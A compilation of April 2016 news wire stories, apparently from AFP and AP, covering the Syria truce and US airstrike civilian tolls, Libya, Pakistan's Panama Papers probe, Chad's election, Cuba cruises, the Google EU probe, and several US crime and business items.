"In this type of armed conflict, particularly with an enemy who hides among the civilian population, there are going to be, unfortunately, civilian casualties at times," Ryder said.

"We do everything we can to avoid it, but that's just the nature of the enemy we are dealing with."

In addition, a total of 28 civilians have been injured in the campaign, the Pentagon claims.

Airwars, a London-based collective of journalists and researchers, uses local sources, photographs and media accounts to keep a detailed list of every known coalition air strike.

They praised Pentagon efforts at accountability compared to other players in Syria such as Russia and the regime of President Bashar al-Assad, but the group said the number of likely civilian deaths from coalition strikes is 1,118 at a bare minimum.

"We certainly welcome this latest US admission -- we think that is a positive step -- but even so, 41 civilian deaths from almost 12,000 air strikes is frankly unbelievable," Airwars director Chris Woods told AFP.

"This is a very intense air campaign. You don't get to drop 500-pound bombs on urban areas and not kill civilians."

The US has led an international coalition that since August 2014 has targeted IS fighters in Iraq and Syria.

Airwars said the victims in the Atshanah and Ramadi strikes appeared to have been families.

- New rules on authorizing strikes -

The latest announcement comes just days after the Pentagon acknowledged that, it has changed since late 2015 how air strikes risking civilian deaths are approved.

Under the new rules, authority now comes from the commanding three-star US general in Baghdad, instead of going through a four-star at CENTCOM's Florida headquarters.

The timing of that decision overlaps with the casualty increase, but the military insists the changes have not lessened oversight standards in determining when such losses are an acceptable risk.

"We take extraordinary precautions to avoid civilian casualties, applying rigorous standards in our targeting process... Those standards have not changed," said CENTCOM spokesman Captain Bryant Davis.

"Delegating authorities for targeting makes us faster and more agile, but it does not change this fundamental fact."

A January 11 attack on a cash distribution system near the Iraqi city of Mosul killed one civilian and injured five others, CENTCOM said.

That particular strike drew international attention because military video of the attack showed millions of dollars worth of cash fluttering across the city afterward.

"It's important to put this into perspective that this is an extremely precise air campaign and we take a lot of effort to make sure we are striking what we are intending to strike," Ryder said.

Ryder said the US military had received a total of 162 allegations of civilian deaths. Of these, 112 were deemed not credible.

Probes into the rest have either been completed or are in various stages of investigation.
Obama says no plans for ground troops in Libya

US President Barack Obama on Friday scotched suggestions that the international community would deploy troops to Libya to prop up the fledgling unity government and fight the Islamic State group.

"There's no plan for ground troops in Libya," Obama said at a joint press conference in London with British Prime Minister David Cameron.

"I don't think that's necessary. I don't think it would be welcomed by this new government. It would send the wrong signal."

US President Barack Obama talks during a press conference at the Foreign and Commonwealth Office in London on April, 22, 2016 with Britain's Prime Minister David Cameron (unseen) following a meeting at Downing Street Jim Watson (AFP)

"What we can do is provide them with expertise, what we can do is provide them with training," he said.

"We can't wait if ISIL is starting to get a foothold there," he said, using an alternative acronym for IS.

"We are working not just with the Libyan government but a lot of our international partners to make sure that we're getting the intelligence we need, and in some cases actions to prevent ISIL having another stronghold from which to launch attacks against Europe or the United States," he said.
Pakistan PM says to resign if found guilty in Panama Papers probe

Pakistan's Prime Minister Nawaz Sharif on Friday pledged to resign if a probe related to the Panama Papers tax scandal found his family had committed any wrongdoing.

Three of Sharif's children were named in a vast leak of documents from Panama-based law firm Mossack Fonseca this month that has revealed how the wealthy hide their money.

The premier has announced a probe into the revelations contained in the Panama Papers, which claim his children owned London property through an offshore company.

Pakistani men watch a televised addresses to the nation by Prime Minister Nawaz Sharif in Karachi on April 22, 2016 Rizwan Tabassum (AFP)

His daughter, Maryam, who has been tipped to be his political successor, was named along with his sons Hasan and Hussain.

Sharif defended his family on television Friday, saying the claims had been investigated twice, decades ago, under the tenure former military ruler Pervez Musharraf.

He also pledged to create a new judicial commission headed by a retired judge to investigate the allegations, after his first proposal was rejected by lawmakers.

"If the allegations levelled against me any my family members are proved, I will resign without any delay," he said.

"I hereby announce (I will) write to the chief justice, asking him to lead the judicial commission, which will investigate revelations made in the Panama Papers."

Allegations of corruption are particularly sensitive for Pakistan's government, which is receiving a $6.6 billion bailout package from the IMF.

Sharif has come under pressure over the claims, and last week a member of the public called him "useless" and put him up for sale on eBay -- with bids soaring to more than $90,000.
UN envoy says Syria truce 'in great trouble', urges world to act

A fragile ceasefire in Syria is in grave peril, the UN warned Friday, insisting that a high-level meeting of countries with influence in the war-ravaged nation was "urgently needed" to shore up faltering peace efforts.

The truce "is still in effect, but it is in great trouble if we don't act quickly," the United Nations' top envoy for Syria Staffan de Mistura told reporters.

A ceasefire took effect in Syria at the end of February, but the country has been rocked by fighting in recent weeks, particularly around the city of Aleppo.

UN Syria envoy Staffan de Mistura gestures during a press briefing at the United Nations office on April 22, 2016 in Geneva Fabrice Coffrini (AFP)

Frustrated by the surging violence and lacking access for desperately needed humanitarian aid on the ground, Syria's main opposition High Negotiations Committee (HNC) earlier this week halted its formal participation in peace talks at United Nations headquarters in Geneva.

But de Mistura said Friday members of his team had continued to hold "very, very productive" meetings at a technical level with remaining HNC members at their Geneva hotel, and said he intended to push ahead with the talks until "probably Wednesday, as originally planned."

"We need to try until Wednesday to get as deep as possible in the areas that we have been starting discussing, and we can do that both formally, informally, technically, practically, but we need to do it," he said.

De Mistura called on the international community to come together to help strengthen the ceasefire and support the difficult peace drive.

He called for a new high-level meeting of the 17-country International Syria Support Group, which is co-chaired by the United States and Russia, who brokered the February "cessation of hostilities" deal.

"We do need certainly a new ISSG at the ministerial level, because the level of danger ... (means such a meeting) is urgently required," he said.

US President Barack Obama on Friday voiced alarm at the situation in Syria.

"I am deeply concerned about the cessation of hostilities fraying and whether it's sustainable," he said at a press conference in London with Prime Minister David Cameron.
Chad's President Deby, a warrior leader

Chad's President Idriss Deby, who has won a fifth term in elections, is a warrior leader who seized power in a military coup in 1990 and is today set on crushing African jihadists.

After 26 years as ruler of the vast African country, Deby took 61.65 percent of the votes in an April 10 poll.

While his supporters celebrated by shooting into the air in the capital N'Djamena, the opposition cried fraud. Saleh Kebzabo, Deby's main foe, officially took just 12.8 percent of the votes.

Chad's veteran leader Idriss Deby has won a fifth term in office, the national electoral commission announced on April 21, 2016, extending his 26 years in power Issouf Sanogo (AFP/File)

Equally at ease in robes, military uniform or suits, his gaze concealed by dark glasses, the current African Union chief enjoys international standing, largely due to the role played by his formidable army in fighting Islamic extremists.

Newly acquired oil money helped to equip the troops who repulsed jihadists in north Mali in 2013 alongside French troops, then stepped in to end chaos in the Central African Republic in 2014 - until Deby withdrew soldiers accused of atrocities against civilians.

Early in 2015 Deby launched a regional offensive in Cameroon, Nigeria and Niger against Nigeria's Boko Haram forces, dubbing the Islamic State affiliate "a horde of crazies and drug addicts".

A Muslim like some 53 percent of Chadians, Deby's contribution to the fight on terror has won him support in the West.

- 'A key man' -

But at home, where the regime arrested rights activists and banned opposition rallies ahead of the polls, Deby has left many of Chad's 13 million people deep in poverty despite the oil wealth.

Deby, who is 63, has a firm ally in former colonial power France, which in 2008 helped him defeat rebels who came from Sudan to reach the capital N'Djamena -- just as he had in 1990 when he ousted Hissene Habre, his former boss.

"He's a key man," said a senior French official speaking on condition of anonymity, adding that in the turbulent central African region, "he's one of a few who have a vision".

But his opponents in N'Djamena argue that Western powers should pay more attention to Deby's failings on both the political and economic scene.

Opposition leader Saleh Kebzabo, who fell out with Deby after serving as prime minister, wants Chad's "economic partners, particularly France, to be more and more insistent on economic governance, respect for human rights."

Deby was born in 1952 at Berdoba in northeastern Chad to a family in the Zaghawa ethnic group, a branch of the Gorane people who live both sides of the border with Sudan.

In a country where scores of languages are spoken, Deby has surrounded himself with close ethnic kin and runs "a regime that has forced the population into increasing impoverishment," Kebzabo says.

- Backdrop of protest -

Like many other ambitious young Africans, Deby first chose the life of a soldier, enrolling at the N'Djamena officers' academy and later obtaining a pilot's licence in France.

He backed fellow soldier Habre in a power struggle in a single-party state, ousting president Goukouni Weddeye in 1982. The new leader made him military commander-in-chief.

As a warrior leader, Deby's renown grew in battle with rebels backed by Libyan leader Moamer Kadhafi, who contested Chad's rule over mountainous northern territory.

Deby fell out with Habre in 1989 and ended up in Sudan, raising his own army, which the following year toppled Habre. He is currently on trial before a special African court in Senegal for war crimes and crimes against humanity.

Six years after he seized power and ushered in democracy, Deby was elected head of state in Chad's first multi-party vote.

While he was challenged at the polls in 1996 and 2001, the main opposition decided to withdraw its participation in 2006 and 2011, irked by a change to the constitution enabling the former soldier to renew his term. They also decried massive fraud.

The April 10 election came against a backdrop of unprecedented protest, fuelled by the gang-rape of a schoolgirl allegedly by five youths including the sons of generals in Deby's close-knit regime.

Supporters of Chad's incumbent president Idriss Deby Itno attend a presidential campaign rally on April 8, 2016 at the Ndjamena stadium Issouf Sanogo (AFP/File)
IS has almost evicted Qaeda from Damascus camp: PLO

The Islamic State group has almost evicted rival Al-Qaeda jihadists from a Palestinian camp in southern Damascus after two weeks of clashes, a Palestinian official said on Friday.

"Daesh has chased Al-Nusra, its former ally in the Yarmuk camp, from 90 percent of the territory it controlled," the Palestine Liberation Organisation chief in Damascus, Anwar Abdel Hadi, said, using an Arabic acronym for IS.

Fighting between IS and Al-Nusra over the past two weeks in the camp has also killed five civilians and wounded 20. Abdel Hadi said he did not have a toll for casualties among the fighters.

A man stands inside a demolished building in the Yarmuk Palestinian refugee camp in Damascus, Syria on April 6, 2015, where around 2,000 people have been evacuated after the Islamic State group seized parts of it Youssef Karwashan (AFP/File)

Once a thriving district that was home to some 160,000 Syrians and Palestinians, Yarmuk has been devastated since late 2012.

The Syrian army imposed a tight siege on the camp that reportedly led to deaths because of shortages of food and medicines.

Al-Nusra and IS had together controlled 70 percent of Yarmuk since April 2015, according to the PLO official.

Palestinian factions and pro-government forces -- who control the rest of the camp -- did not take part in the latest fighting.

The Palestinian official said some 6,000 civilians remain in Yarmuk alongside around 3,000 IS fighters there and in the nearby Hajar al-Aswad neighbourhood. Al-Nusra has around 300.

Chris Gunness, spokesman for the UN aid agency for Palestinians, said on Thursday ending the fighting and humanitarian access to Yarmuk was needed urgently.

"Residents in Yarmuk remained trapped, humanitarian conditions are dire," he said.
Two killed in Turkey by rockets fired from Syria: report

Three Katyusha rockets fired from neighbouring Syria landed in a Turkish border town Friday, leaving two people dead and four wounded, according to local media reports.

The rockets hit Kilis, which has come under repeated fire from areas controlled by the Islamic State (IS) group in recent weeks.

Six people were hurt in the attack, which happened at around 1600 GMT according to the Dogan news agency.

Residents look at the damage after a rocket hit a house in Kilis on April 19, 2016, where three more rockets hit on April 22, 2016 Stringer (AFP/File)

Two of those wounded later died in hospital, it said. A government official was not immediately available for comment.

Kilis is the only town in Turkey where refugees from the war in Syria now outnumber Turkish locals. On Monday, rockets killed four Syrians there, including three children.

Turkey's top general Hulusi Akar and powerful intelligence chief Hakan Fidan made a rare public visit to the town last week while Prime Minister Ahmet Davutoglu has also vowed to protect the town.

The rocket fire has drawn retaliation from the Turkish army over the past weeks, with shelling of IS-controlled areas.

Neither the Islamic State group nor the Al-Qaeda-affiliated Al-Nusra Front are included in a Syria truce brokered by the United States and Russia that came into force on February 27.
Obama played Prince tracks before visiting the queen

US President Barack Obama paid tribute to pop legend Prince on Friday and revealed he had played "Purple Rain" and "Delirious" that morning before visiting Queen Elizabeth II.

Obama, who is on a four-day trip to Britain, said he and US ambassador Matthew Barzun had played the two Prince tracks at the ambassador's residence at Winfield House in London.

"And so I'm staying at Winfield House. And it so happens that the ambassador has a turntable," Obama told a joint press conference with British Prime Minister David Cameron.

Britain's Queen Elizabeth II (2nd L) and her husband Prince Philip, Duke of Edinburgh (L) greet US President Barack Obama (R) after he and his wife Michelle arrived by helicopter outside Windsor Castle, west of London, on April 22, 2016 Jim Watson (AFP)

"And this morning we played Purple Rain and Delirious just to get warmed up before we left the house for important bilateral meetings like this."

Obama and First Lady Michelle Obama visited the queen at Windsor Castle, her weekend residence to the west of London, on Friday before heading to Downing Street for talks with Cameron.

"I love Prince because he put out great music and he was a great performer," the president said.

"I didn't know him well. He came to perform at the White House last year and was extraordinary and creative and original and full of energy. And so it's a remarkable loss."

Prince, whose pioneering brand of danceable funk and virtuoso talents made him one of the most influential figures in music, died suddenly on Thursday at his secluded compound in Minnesota. He was 57.
Cuba clears way for cruise ship resumption

Cuba cleared the way Friday for the resumption of cruise voyages to and from the United States, lifting a restriction that barred travelers born in Cuba from the trips.

The restriction dates back to the Cold War and stemmed from fears of a US-backed invasion from the sea.

It will be lifted Tuesday, a statement published in the communist party newspaper Granma said.

Cubans will be free to travel by boat, having previously only been permitted to leave the country by plane

The change -- until now Cubans could only travel to and from the United States by plane -- is yet another fruit of the restoration of diplomatic relations last year between Havana and Washington.

Its climax was a historic visit to Cuba last month by President Barack Obama.

Commercial flights between the two countries are also expected to resume soon.

Leisure giant Carnival, which has permission from both governments to run cruise ships between Florida and Cuba, welcomed the Cuban announcement and said the first ship will leave Miami on May 1.

The statement made no mention of ferry services, even though the United States has granted licenses to a half dozen companies to operate such sea links.

Initially, because of the now-lifted restriction, Carnival could not accept cruise ship reservations from people born in Cuba.

Amid an uproar from Miami's big Cuban-American community, largely opposed to the Cuban government, and from the US government, Carnival reversed course and said it would take reservations from people of Cuban origin.

- Cold War tension -

Carnival had said it was in talks with the Cuban government on lifting the maritime entry and exit restriction, and warned that the first cruise would be postponed past May 1 unless the Cubans changed their policy.

The government statement published Friday said Cubans can now enter and leave the country on cruise ships "regardless of their migratory status."

Carnival responded with a statement saying, it was "proud to play a role" in the change.

"Carnival will be able to include all travelers, including individuals born in Cuba, on to our cruiser voyages to Cuba, that will begin on May 1, with our historical inaugural voyage," it added.

The restriction on Cubans entering from the United States by sea goes back to the tensest days of the Cold War, after the Cuban Revolution of 1959.

It was designed to prevent anti-communist militants from landing on Cuban shores to try to overthrow the government, as in the failed Bay of Pigs invasion in 1961 against Fidel Castro.

As it freed up maritime travel Friday, the government urged the United States to find ways "to prevent and confront the carrying out of terrorist actions against Cuba, which were what gave rise to the regulation" in the first place.

The lifting of the restriction on Cubans leaving on US-bound cruise ships is also sensitive.

Many Cubans fleeing poverty attempt to reach Florida in rickety vessels, and the dangerous trips have been on the rise.

Cubans fear that with the resumption of ties with Washington, the Americans will end a preferential policy under which Cuban migrants who make it to land in America are allowed to stay, but sent back if caught at sea.

Despite the restoration of ties, the United States has maintained its trade embargo against Cuba, and regular, full-fledged US tourism to Cuba is still banned.
Google seeks to play down EU Android probe

Google sought to play down its anti-trust battle with the European Commission on Friday, with a senior executive insisting the row was "normal".

Brussels has charged Google with abusing the dominance of its Android mobile phone operating system in a move which could could change the face of the global smartphone sector.

But Carlo d'Asaro Biondo, Google's Europe head of strategic partnerships, said he was unfazed by the investigation.

A European Commission anti-trust probe was opened in April 2015 into whether Google gives unfair prominence to its own Android apps with mobile manufacturers Justin Sullivan (Getty/AFP/File)

"We'll see where that leads. It's normal, given the importance Android has in Europe ... that the Commission undertakes controls," Biondo told reporters.

EU Competition Commissioner Margrethe Vestager says the Silicon Valley giant has used practices such as making manufacturers pre-install its market-leading search engine as the default in phones to "abuse its dominant position".

Brussels believes such practices breach EU competition law.

The Android operating system accounts for about 80 percent of the world market for mobile phones, far ahead of Google's closest rival, Apple.

The EU has accused Google of obstructing innovation by giving unfair prominence to its own apps, especially its search engine, in deals with mobile manufacturers such as Samsung and Huawei.

Google must now respond inside three months to avoid sanctions which could amount to fines up to 10 percent of the group's annual global sales or $7.4 billion based on their 2015 results.

Biondo said Google would now seek to put its own case. "We are in that phase and will see what happens," he told reporters.

"What we are trying to do today is explain what we are doing and what our system is. We are not at the sanctions phase, we are in the analysis phase," he added, indicating that Android allows several phone makers easier access to the market without having to develop their own operating systems.

He said the platform enabled a current estimated 1.2 million developers to work on applications in Europe and that the software was free for operators which they could use or not as they wished.

"Google Play is a magnificent way of distributing non Google applications," Biondo said.

European Commission charges against Google? Nicholas Mc Anally (AFP/File)
Western envoys condemn threats against Libya lawmakers

Western ambassadors on Friday condemned "unacceptable threats" that they said were blocking a vote of confidence by lawmakers in a UN-backed Libyan unity government.

Most of the members of the House of Representatives elected in Libya's last polls in June 2014 have been based in the far eastern town of Tobruk since an Islamist-led militia alliance overran the capital shortly afterwards.

The militia alliance restored the previous, Islamist-dominated parliament elected in July 2012 and established a rival administration to that in Tobruk.

Libyan deputy prime minister of the UN-backed government, Ahmed Maiteeq (L), French Foreign Affairs Minister Jean-Marc Ayrault (C) and his German counterpart Frank-Walter Steinmeier at the naval base in Tripoli on April 16, 2016 Mahmud Turkia (AFP/File)

A unity government forged through UN mediation to replace the rival governments has now stamped its authority on most of the levers of power in Tripoli but has yet to win the legitimacy of a vote of confidence from the Tobruk parliament.

The government it installed is refusing to step down until it does so.

Under the UN deal, the Tobruk parliament will be the legislature of the new government, while members of the Tripoli parliament will have mandatory consultative powers.

But lawmakers in Tobruk have repeatedly failed to hold a vote, even though on Thursday evening 102 out of 198 of them issued a statement backing the unity government of prime minister-designate Fayez al-Sarraj.

"We commend the courageous efforts of the clear majority of House of Representatives MPs, who in spite of unacceptable threats to prevent the HoR from living up to its historic responsibility to the Libyan people, expressed their endorsement of the Government of National Accord," the Western ambassadors said in a joint statement.

They voiced backing for plans by pro-unity government lawmakers to convene away from Tobruk.

"We welcome the decision to convene the HoR in a Libyan location that offers security and safety for its members," the joint statement said.

UN envoy Martin Kobler expressed his profound disappointment at the inability of the House of Representatives to hold a vote on the unity government.

"I find it regrettable that yet again a clear majority of members of the HoR are denied the opportunity to exercise their intrinsic democratic right as elected representatives of the Libyan people to uphold the pivotal role of the House as a legislative and monitoring body at this critical juncture of the political process," he said.

Kobler urged the lawmakers "to continue upholding their responsibilities in exercising their duties without obstruction, threat or intimidation".

He said the failure to back the unity government was a "setback to ongoing efforts to bring an end to the institutional divide in Libya and to bring peace to the Libyan people".

The international community sees the unity government as the best hope for oil-rich Libya, which has been roiled by turmoil since the 2011 ouster and killing of veteran dictator Moamer Kadhafi.

Concern has been compounded by the expansion of the Islamic State group in Libya, where the jihadists have set up base just 300 kilometres (185 miles) across the Mediterranean from Italy.

People smugglers are also feeding on the chaos, with a surge of illegal migration to Europe from Libya.
Israelis mark Passover with boosted security after bus bomb

Israelis began marking the Jewish Passover holiday on Friday with increased security after a bus bombing this week wounded 20 people and threatened to reverse a decline in attacks.

The bomb exploded aboard a bus in a relatively isolated area of southern Jerusalem on Monday, with the Hamas-affiliated bomber later dying.

Israeli authorities called it a suicide bombing, the first since a wave of violence began last October.

An Ultra-Orthodox Jewish man prays as leavened items are burned on April 22, 2016 in Jerusalem during final preparations for Passover Ahmad Gharabli (AFP)

Violence since then has killed 28 Israelis and 201 Palestinians. The majority of the Palestinians killed were carrying out knife, gun or car-ramming attacks, according to Israeli authorities.

However the violence had appeared to subside in the weeks before Monday's bus blast.

Israeli Prime Minister Benjamin Netanyahu noted on April 10 there has been a "significant decline in the scope of terrorist attacks".

Authorities have increased security in Jerusalem for the eight-day Passover festival, during which thousands of Jews come to the city to celebrate.

Israeli lawmakers and ministers have been temporarily banned from the highly sensitive Al-Aqsa mosque compound, known to Jews as the Temple Mount, to avoid provoking tensions.

Israel has also closed off all crossing points between the occupied West Bank and the Gaza Strip to Israeli territory for Friday and Saturday.

Israelis and Palestinians have questioned whether the bus attack will reignite the violence or prove to be an aberration.

Israeli officials argue that their efforts have helped to reduce the level of violence since the early days of October.

An Israeli military official said the violence had at one point evolved from mostly lone wolf operations into what seemed to be "revenge" attacks, with small cells that sometimes used improvised guns, before the recent decline.

Many of the attackers have been young people, including teenagers.

Intelligence has focused on trying to find potential attackers beforehand, including monitoring social media and speaking to parents when there is reason to think someone could turn violent, the official said.

- 'Mass understanding' -

Israeli officials say that it is nearly impossible to stop lone-wolf attacks which require little pre-planning.

The majority of the attacks have been stabbings in what some analysts call de-facto suicide missions.

Many analysts say Palestinian frustration with Israeli occupation and settlement building in the West Bank, the complete lack of progress in peace efforts and their own fractured leadership have fed the recent unrest.

Israel blames incitement by Palestinian leaders and media as a main cause of the violence.

Palestinian president Mahmud Abbas has repeatedly called for non-violent resistance, but critics say the 81-year-old has little influence over the young people committing the attacks.

Diana Buttu, a former spokeswoman for the Palestinian Authority but now a prominent critic, said Abbas shares in the blame for failing to offer hope to young Palestinians.

"There hasn't been any leadership on the Palestinian side to turn this into something formidable that can lead to real change," she said.

Israel has occupied the West Bank since 1967 and few Palestinians, she said, are optimistic that the situation will change in the near future.

"I don't think there was ever mass support (for the attacks). I think there was mass understanding," she said.

"But also a sense of sadness because these are young people who are losing their lives without any optimism it is going to lead to anything."

The Israeli military official said he believed around 80 percent of the attackers "wanted to die" because of a combination of personal issues and other factors.

He said that when the pattern became clear, military chief of staff Gadi Eisenkot said "they come to get killed. Don't kill them" when other methods can be employed.

But the message was difficult to implement because combat soldiers are "trained to engage and kill the enemy", the official said.

Israeli forces have been accused of using excessive force in some cases, which they firmly deny.

Israeli far-right politicians have pushed for a harsh response to the attacks and have defended the killings of assailants. Netanyahu has come under heavy political pressure over the violence.

Israeli firemen and emergency services check the remains of a burnt-out bus after extinguishing the flames following an explosion in Jerusalem on April 18, 2016 Menahem Kahana (AFP/File)
Obama, UN envoy voice alarm at 'fraying' Syria truce

Syria's fragile ceasefire is in grave peril, US President Barack Obama and the UN's special envoy warned, as violence surged in the war-ravaged country's second city Aleppo.

The truce "is still in effect, but it is in great trouble if we don't act quickly", the United Nations' top envoy for Syria, Staffan de Mistura, told reporters in Geneva, where he is mediating faltering peace talks.

Obama voiced alarm at the situation, telling a press conference in London: "I am deeply concerned about the cessation of hostilities fraying and whether it's sustainable."

Syria has been rocked by fighting in recent weeks, particularly around the city of Aleppo Ameer Alhalbi (AFP)

A landmark partial ceasefire -- not including the Islamic state group -- which was negotiated by the United States and Russia and took effect on February 27, had dramatically curtailed violence across much of Syria and raised hopes that a lasting deal could be struck in Geneva to end the bloodshed.

But the country has been rocked by fighting in recent weeks, particularly around the city of Aleppo, where at least 25 civilians were killed and 40 wounded in air strikes on rebel-held neighbourhoods on Friday alone, emergency workers said.

- Fragile peace talks -

De Mistura said Friday's violence in Aleppo was "very worrisome".

Frustrated by the surging violence, the lack of access for desperately needed aid and the failure to secure the release of detainees, Syria's main opposition High Negotiations Committee (HNC) halted its formal participation this week in the Geneva talks.

But de Mistura said Friday that members of his team had continued to hold "very, very productive" meetings at a technical level with remaining HNC members at their Geneva hotel.

And he said he intended to push ahead with the ongoing round of talks, which began on April 13, until Wednesday.

"We need to try until Wednesday to get as deep as possible... and we can do that both formally, informally, technically, practically," he said.

He hailed all sides finally engaging in discussions on the thorny issue of political transition, but acknowledged that the understanding of what that would entail still differed widely.

The fate of President Bashar al-Assad remains a major sticking point in the indirect talks, with the opposition insisting any peace deal must include his departure, while Damascus insists his future is non-negotiable.

The HNC, an umbrella group comprising the main Syrian opposition and rebel factions that came together in Riyadh in December, said in a statement Friday that it was continuing "to work hard for progress on political transition, for relief from sieges and air strikes".

"And we have had a meeting here today on the detainee issue," it said, stressing that it considered the ceasefire to be "in trouble".

HNC spokesman Salem al-Meslet told AFP that if the group sees "major and serious steps on the ground... in the next couple of days, there will be nothing stopping the members who left Geneva from returning".

- 'Murderous regime' -

De Mistura called for a new high-level meeting of the 17-country International Syria Support Group, which is co-chaired by the United States and Russia.

"We do need certainly a new ISSG at the ministerial level, because the level of danger... (means that such a meeting) is urgently required," he said.

Obama meanwhile lashed out at Moscow for supporting "a murderous regime", but vowed to keep working with the Russian government to strengthen the ceasefire and support the peace talks.

He said he had spoken to Russian President Vladimir Putin on Monday "asking him to put more pressure on (Syrian President Bashar al) Assad, indicating to him that we would continue to try to get the moderate opposition to stay at the negotiating table in Geneva".

"If in fact the cessation falls apart, we will try to put it back together again even as we continue to go after ISIL," he said, referring to IS, which along with other jihadists is not included in the truce deal.

The group said it had captured a Syrian pilot alive on Friday after shooting down his plane east of Damascus.

Since Syria's conflict erupted in March 2011, more than 270,000 people have died, according to the Syrian Observatory for Human Rights, which is considered to have the most reliable count.

The UN no longer provides casualty figures for Syria, since it considers them too difficult to verify, but de Mistura said Friday he believed the actual toll had to be far higher, likely around 400,000.

The Pentagon meanwhile said 20 civilians had been killed in US airstrikes on IS targets in Syria and Iraq over a five-month period, although observers warned the toll is likely much higher.

At least 25 civilians were killed and 40 wounded in air strikes on rebel-held neighbourhoods in Aleppo in a single day Ameer Alhalbi (AFP)

UN Syria envoy Staffan de Mistura said his team had continued to hold "very, very productive" meetings with remaining members of Syria's main opposition High Negotiations Committee Fabrice Coffrini (AFP)
Woman gets life without parole for killing 6 family members

SEATTLE (AP)  A Seattle judge has sentenced a woman to life in prison without the possibility of parole for killing six of her family members on Christmas Eve 2007.

Michele Anderson was convicted in March of six counts of first-degree aggravated murder. Life without parole was the only sentence she could receive after prosecutors removed capital punishment as an option.

She and her former boyfriend, Joseph McEnroe, were charged with shooting to death her parents, brother, sister-in-law, 5-year-old niece and 3-year-old nephew.

KOMO-TV reports (http://is.gd/wFaets ) that the 37-year-old Anderson didn't speak at her sentencing Thursday.

McEnroe is already serving six life sentences in the slayings. Prosecutors didn't pursue the death penalty against Anderson after a jury declined to send McEnroe to death row.

Both have said they will appeal their convictions.

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The Latest: Man shot by officer abducted ex-wife at store

MIAMI (AP)  The Latest on a police shooting in Florida (all times local):

3:30 p.m.

A man fatally shot by a Miami-Dade Police officer drove a stolen vehicle from Louisiana to the Miami suburbs, where he abducted his ex-wife at a grocery store.

Detective Alvaro Zabaleta said in a statement Thursday that the man reached the 38-year-old woman at a Homestead grocery store Wednesday evening and forced her into the vehicle at gunpoint.

Police initially said she had been in the vehicle's trunk but Zabaleta said she was forced into the backseat. Zabaleta says the man strangled the woman until she lost consciousness. She called 911 when she woke up.

The couple was divorced and had four children who were in state custody before the woman's abduction.

Miami-Dade Police are investigating the abduction, while state law enforcement authorities are investigating the man's shooting by a K-9 officer.

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11:50 a.m.

Police say a Florida officer fatally shot a shotgun-wielding man who had kidnapped a woman and forced her into the trunk of a vehicle.

Miami-Dade Police Detective Jennifer Capote said in a statement that the woman was forced into the trunk Wednesday evening by an estranged domestic partner.

Officers found the vehicle in a wooded area. Capote says a K-9 officer was searching the area when he was confronted by the suspect, who pointed a shotgun toward him.

The officer shot the suspect, who was pronounced dead at the scene. The woman was found safe.

Miami-Dade Police said Thursday that the white male officer is a 23-year veteran and the white male suspect was in his 40s. No additional information was immediately available.

The Florida Department of Law Enforcement is investigating.

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United shares drop after airline reports lower 1Q profit

DALLAS (AP)  Shares of United Airlines' parent dropped sharply on Thursday after the company reported lower first-quarter profit and gave a disappointing outlook for the second quarter.

In afternoon trading, shares of United Continental Holdings Inc. were down $5.46, or 9.3 percent, to $53.14.

Chicago-based United, the nation's No. 3 airline by traffic, reported after the market closed Wednesday that first-quarter profit fell 38 percent to $313 million.

It was still one of United's best-ever first quarters  usually a weak period for travel. But revenue fell 5 percent, and United said it expects that a key revenue-per-seat figure will keep falling in the second quarter, when airline fortunes usually pick up.

On a conference call Thursday, analysts pressed United executives about the airline's profit margin, which remains far behind major competitors. Some of the questions were unusually pointed.

JP Morgan's Jamie Baker called United's second-quarter outlook "pretty unimpressive," and he asked whether executives had a plan for catching up to rivals or "does mediocrity suffice?"

Oscar Munoz, who became CEO in September but just returned from a heart transplant and five-month medical leave, said United would not concede anything. Changes are needed, he acknowledged.

"We need to be, in my mind, a bit more disruptive in the marketplace," Munoz said. "I think we have been standing by a little bit too much."

Munoz said his team was beginning to work on steps to improve the company and will hold another call with analysts in June to detail "initiatives we have under way."

Chief revenue officer James Compton said United was prepared to reduce capacity, a method airlines use to increase fares by reducing the supply of seats. United has already made some cuts in Houston, Brazil, and the Middle East, he said.

Compton said the airline now expects to increase passenger-carrying capacity by no more than 2 percent this year, a half-point lower than previously planned. That could help shore up fares if other airlines do the same.

United faces the same challenges as other airlines  only more so. The biggest may be reversing the downward trend in fares, which led to a 5 percent decline in United's first-quarter revenue. United's forecast of revenue per mile in the second quarter was worse than guidance from Delta and Southwest. American will report earnings Friday.

United's international routes are being hurt by rising competition from foreign carriers who have flooded the market with flights. At home, analysts say that United has lost corporate accounts, especially to Delta.

United says its Houston hub is struggling because of the slump in the oil industry. Southwest CEO Gary Kelly said Thursday that his airline is doing just fine in Houston, where it has been expanding domestic routes and recently added international flights.

"We don't really compare ourselves to United," Kelly said, "but we have had great success in Houston over the past four years."

From the day he became CEO, Munoz has acknowledged that United has failed its customers since its 2010 merger with Continental and needs to do better. He repeated that message Thursday.

"We have lost some customers," he said on CNBC. "We need to rebuild the trust with those customers and get them back."

That will require United to make decisions about where it flies, the level of service it provides, and many other choices.

Munoz's team may have been distracted from that work over the past two months by a potential proxy fight with two major shareholders who were unhappy with the company's profits and stock performance. On Wednesday, United and the shareholders announced a settlement that will avert a showdown at the annual meeting this summer.

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Suspended Canadian senator cleared of wrong doing

TORONTO (AP)  A suspended Canadian senator who was accused of receiving $90,000 from the country's former chief of staff has been cleared of a;; wrong doing in relation to a long-running Senate expense scandal.

Sen. Mike Duffy was charged two years ago with fraud, breach of trust and bribery.

Ontario Court Justice Charles Vaillancourt's decision Wednesday vindicates Duffy and is a scathing indictment of the tactics employed under former Conservative Prime Minister Stephen Harper's office.

Wright resigned from the prime minister's office after it was reported that he had given his own money to help Duffy repay the government for ineligible housing expenses.

Duffy pleaded not guilty to all charges.
Los Angeles hospital settles over leaving patient on street

LOS ANGELES (AP)  A fourth Los Angeles-area hospital in less than three years has settled a lawsuit over a chronic problem in the nation's second-largest city  turning homeless patients out on the streets after they have been discharged, sometimes while still needing medical attention.

Without acknowledging fault, Good Samaritan Hospital near downtown Los Angeles settled for $450,000 and agreed to follow protocols to properly release homeless patients, City Attorney Mike Feuer said Thursday. That brings the amount of such settlements with area hospitals to $1.9 million since January 2014.

Hospitals aren't required to have specific discharge protocols for homeless patients, though a city law makes patient dumping illegal.

